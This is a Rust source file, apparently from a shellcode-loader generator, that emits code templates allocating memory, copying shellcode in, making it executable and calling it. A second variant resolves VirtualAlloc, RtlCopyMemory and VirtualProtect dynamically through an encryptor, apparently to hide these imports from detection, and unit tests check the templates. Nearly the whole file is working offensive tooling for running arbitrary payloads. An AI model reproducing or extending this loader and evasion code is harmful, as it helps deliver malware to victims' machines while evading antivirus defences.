pub fn syscall_import() -> String {
     r#"
 use std::ptr;
 "#
     .to_string()
 }
 
 pub fn syscall_const() -> String {
     format!(
         r#"
 {}
 
 #[link(name = "ntdll")]
 extern "system" {{
     fn RtlCopyMemory(
         destination: *mut std::ffi::c_void,
         source: *const std::ffi::c_void,
         length: usize,
     );
 }}
 "#,
         super::common::COMMON_MEMORY_CONSTANTS
     )
 }
 
 pub fn syscall_init() -> String {
     String::new()
 }
 
 pub fn syscall_process() -> String {
     r#"
     unsafe {
         let addr = VirtualAlloc(
             ptr::null_mut(),
             shellcode.len(),
             MEM_COMMIT | MEM_RESERVE,
             PAGE_READWRITE,
         );
 
         if addr.is_null() {
             panic!("failed");
         }
 
         RtlCopyMemory(
             addr,
             shellcode.as_ptr() as *const std::ffi::c_void,
             shellcode.len(),
         );
 
         let mut old_protect: u32 = PAGE_READWRITE;
         let result = VirtualProtect(addr as *mut std::ffi::c_void, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect);
 
         if result == 0 {
             panic!("failed");
         }
 
         let shellcode_fn: extern "C" fn() = std::mem::transmute(addr);
         shellcode_fn();
     }
 "#
     .to_string()
 }
 
 fn generate_syscall_template(function_name: &str) -> String {
     super::common::TechniqueTemplateBuilder::new()
         .with_import(syscall_import())
         .with_const(syscall_const())
         .with_init(syscall_init())
         .with_process(syscall_process())
         .build(function_name)
 }
 
 pub fn generate_syscall_code(function_name: &str) -> String {
     generate_syscall_template(function_name)
 }
 
 fn syscall_process_with_dynamic_resolver(
     encryptor: &dyn crate::encryption::Encryptor,
 ) -> Result<String, String> {
     use super::dynamic_common::*;
 
     let virtual_alloc = virtual_alloc_resolver(encryptor)?;
     let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
     let virtual_protect = virtual_protect_resolver(encryptor)?;
 
     Ok(format!(
         r#"
     unsafe {{
         {virtual_alloc_resolver}
         {virtual_alloc_cast}
 
         let addr = virtual_alloc(
             ptr::null(),
             shellcode.len(),
             MEM_COMMIT | MEM_RESERVE,
             PAGE_READWRITE,
         );
 
         if addr.is_null() {{
             panic!("failed");
         }}
 
         {rtl_copy_memory_resolver}
         {rtl_copy_memory_cast}
 
         rtl_copy_memory(
             addr,
             shellcode.as_ptr() as *const std::ffi::c_void,
             shellcode.len(),
         );
 
         {virtual_protect_resolver}
         {virtual_protect_cast}
 
         let mut old_protect: u32 = PAGE_READWRITE;
         let result = virtual_protect(addr, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect);
 
         if result == 0 {{
             panic!("failed");
         }}
 
         let shellcode_fn: extern "C" fn() = std::mem::transmute(addr);
         shellcode_fn();
     }}
 "#,
         virtual_alloc_resolver = virtual_alloc.resolver_code,
         virtual_alloc_cast = virtual_alloc.cast_code,
         rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
         rtl_copy_memory_cast = rtl_copy_memory.cast_code,
         virtual_protect_resolver = virtual_protect.resolver_code,
         virtual_protect_cast = virtual_protect.cast_code,
     ))
 }
 
 fn generate_syscall_template_with_dynamic_resolver(
     function_name: &str,
     _encryption_type: &str,
     encryptor: &dyn crate::encryption::Encryptor,
 ) -> Result<String, String> {
     let process_code = syscall_process_with_dynamic_resolver(encryptor)?;
 
     Ok(super::common::TechniqueTemplateBuilder::new()
         .with_import(syscall_import())
         .with_const(syscall_const())
         .with_init(syscall_init())
         .with_process(process_code)
         .build(function_name))
 }
 
 pub fn generate_syscall_code_with_dynamic_resolver(
     function_name: &str,
     encryption_type: &str,
     encryptor: &dyn crate::encryption::Encryptor,
 ) -> String {
     generate_syscall_template_with_dynamic_resolver(function_name, encryption_type, encryptor)
         .unwrap_or_else(|err| {
             panic!(
                 "Failed to generate Syscall code with dynamic resolver (encryption: {}): {}",
                 encryption_type, err
             )
         })
 }
 
 pub struct SyscallGenerator;
 
 impl super::trait_generator::TechniqueGenerator for SyscallGenerator {
     fn generate_code(&self, _process: &str, function_name: &str) -> String {
         generate_syscall_code(function_name)
     }
 
     fn generate_code_with_dynamic_resolver(
         &self,
         _process: &str,
         function_name: &str,
         encryption_type: &str,
         encryptor: &dyn crate::encryption::Encryptor,
     ) -> String {
         generate_syscall_code_with_dynamic_resolver(function_name, encryption_type, encryptor)
     }
 
     fn requires_process(&self) -> bool {
         false
     }
 
     fn name(&self) -> &'static str {
         "Syscall"
     }
 }
 
 #[cfg(test)]
 mod tests {
     use super::*;
 
     #[test]
     fn test_generate_syscall_template_contains_all_parts() {
         let template = generate_syscall_template("MyFunction");
         assert!(template.contains("use std::ptr"));
         assert!(template.contains("MEM_COMMIT"));
         assert!(template.contains("RtlCopyMemory"));
         assert!(template.contains("fn MyFunction"));
         assert!(template.contains("VirtualAlloc"));
     }
 
     #[test]
     fn test_generate_syscall_code() {
         let code = generate_syscall_code("MyRandomFunc");
         assert!(code.contains("fn MyRandomFunc"));
         assert!(code.contains("VirtualProtect"));
         assert!(code.contains("transmute"));
     }
 }

© 2024 - 2026 djnn, inc • generated with stagit